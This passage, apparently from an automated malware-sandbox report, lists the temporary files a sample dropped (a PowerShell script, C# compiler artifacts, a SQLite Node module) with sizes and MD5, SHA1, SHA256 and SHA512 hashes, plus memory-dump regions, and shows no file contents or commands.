fa4d5cdf85325c1e55f7e52b7c4949e8

SHA1
3d2f721deeab996fc1348161c8c02e7e502676ef

SHA256
912019e894d5531033b75d48103b29ca43807ae21a5ee32fc94f9a500bb14200

SHA512
6e9a789024a113d7f3932d07705be0c3d8f99861c2ae1a88259ae51f4cd315087fec8e2b377507d147d9dd40b7d5da17dc6c5d80464ba96b2886d3f865a92318

Download Submit
C:\Users\Admin\AppData\Local\Temp\hw3vmlfp\hw3vmlfp.dll

Filesize
3KB

MD5
7efd5213b4f1e117bcd3cea724a0544d

SHA1
18c6c983ffed1c3a00d138bda0ac2f0eb3254f79

SHA256
74c75f9d7d4bc61d4a05772620711f18ce5a8d10f2a3e3b19df9c1f8a968d313

SHA512
be4290f798976640740ffa8966118bb3475ab571ef5f068fd2b35ce6c5abd38503196936950ea33be6a23253f2d37a8389f2f64188265e2db3223d0f41a71462

Download Submit
C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node

Filesize
1.8MB

MD5
66a65322c9d362a23cf3d3f7735d5430

SHA1
ed59f3e4b0b16b759b866ef7293d26a1512b952e

SHA256
f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c

SHA512
0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21

Download Submit
C:\Users\Admin\AppData\Local\Temp\temp.ps1

Filesize
379B

MD5
18047e197c6820559730d01035b2955a

SHA1
277179be54bba04c0863aebd496f53b129d47464

SHA256
348342fd00e113a58641b2c35dd6a8f2c1fb2f1b16d8dff9f77b05f29e229ef3

SHA512
1942acd6353310623561efb33d644ba45ab62c1ddfabb1a1b3b1dd93f7d03df0884e2f2fc927676dc3cd3b563d159e3043d2eff81708c556431be9baf4ccb877

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\elhpjo5g\CSCD1AD889C4524ED09739529864DFFFF.TMP

Filesize
652B

MD5
cf1663eecc0cbfcd2baff64e721dc08f

SHA1
9e7ab92d859ad4da53ecea6049818d88ec525b4d

SHA256
e995b7dca0920824e7b6aecff18ab149495b16f00827fa635aeb12cf3153c472

SHA512
d3a118379ff7e3534cbd4bd1b668f727d0805625ac6995791e6452c30569cfde08fbb3813306dbe49b9d35cac687d2c2243b8fa36c467bfcc0d5de076528f8f1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\elhpjo5g\elhpjo5g.0.cs

Filesize
311B

MD5
7bc8de6ac8041186ed68c07205656943

SHA1
673f31957ab1b6ad3dc769e86aedc7ed4b4e0a75

SHA256
36865e3bca9857e07b1137ada07318b9caaef9608256a6a6a7fd426ee03e1697

SHA512
0495839c79597e81d447672f8e85b03d0401f81c7b2011a830874c33812c54dab25b0f89a202bbb71abb4ffc7cb2c07cc37c008b132d4d5d796aebdd12741dba

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\elhpjo5g\elhpjo5g.cmdline

Filesize
369B

MD5
761b56956a660af37891c85c21229a98

SHA1
2d200a9cceb843c52c6b12b1b6341e0cfab7b0c2

SHA256
263aee342191f4f20196771a3211314d2305e02338b945d12f0bdebc28fbcdf3

SHA512
8e36dc75c312efe79b0f1dc905d3b93d77608f1b885c11db44cd971726f5df69cebb39abca5503d2571b4997c6a9fb7953230d71856975d73399d55cc748b119

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hw3vmlfp\CSCB52CF1EA84A04E3F9ADAFB16DA87921C.TMP

Filesize
652B

MD5
47d352aefeb0842f6035ec31660d78f0

SHA1
5f172cbc1d8161967ea35d5a0c68facb489442c9

SHA256
b5127ea9f69ba0cc6d8c9ba4399aca1a12aa4b53a7925ca0cc3786964b639a2a

SHA512
d89638299ec121cc88bbf4b5757665c261276e80b2de6b4f8cf590a467648657af777ab661608288a651eb0f296cb5b2efd5ab4ef72a3b198bb0f0ce140a843c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hw3vmlfp\hw3vmlfp.0.cs

Filesize
426B

MD5
b462a7b0998b386a2047c941506f7c1b

SHA1
61e8aa007164305a51fa2f1cebaf3f8e60a6a59f

SHA256
a81f86cd4d33ebbf2b725df6702b8f6b3c31627bf52eb1cadc1e40b1c0c2bb35

SHA512
eb41b838cc5726f4d1601d3c68d455203d3c23f17469b3c8cbdd552f479f14829856d699f310dec05fe7504a2ae511d0b7ffff6b66ceadb5a225efe3e2f3a020

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hw3vmlfp\hw3vmlfp.cmdline

Filesize
369B

MD5
76badfb1cd0d8160cf27f5749b371422

SHA1
dce82c3bd344bf851e6368ffe2722877ca89f2c1

SHA256
b92bee33a79e28b41eeeb7c019e8db1f9a75f194dff01251d360b5b39e2b36ca

SHA512
1ea573661ef3b9759e225e1e99836c89c2cfa50878eb0d0ae86e7f89abb184ff34ff099edf8cf363d4467fc62df6426d62a911fbe0ab14cb9d7e1c39e4d9b03d

Download Submit
memory/60-115-0x0000024B3CCA0000-0x0000024B3CCF0000-memory.dmp

Filesize
320KB

Download
memory/2776-85-0x000001F06CD10000-0x000001F06CD54000-memory.dmp

Filesize
272KB

Download
memory/2776-84-0x00007FF8EEAA0000-0x00007FF8EF561000-memory.dmp

Filesize
10.8MB

Download
memory/2776-83-0x00007FF8EEAA0000-0x00007FF8EF561000-memory.dmp

Filesize
10.8MB

Download
memory/2776-82-0x000001F06CB50000-0x000001F06CB72000-memory.dmp

Filesize
136KB

Download
memory/2776-86-0x000001F06EF70000-0x000001F06EFE6000-memory.dmp

Filesize
472KB

Download
memory/2776-103-0x00007FF8EEAA0000-0x00007FF8EF561000-memory.dmp

Filesize
10.8MB

Download
memory/2776-72-0x00007FF8EEAA3000-0x00007FF8EEAA5000-memory.dmp

Filesize
8KB

Download
memory/2776-99-0x000001F06CBA0000-0x000001F06CBA8000-memory.dmp

Filesize
32KB

Download
memory/4308-186-0x000002A62DE20000-0x000002A62DE28000-memory.dmp

Filesize
32KB

Download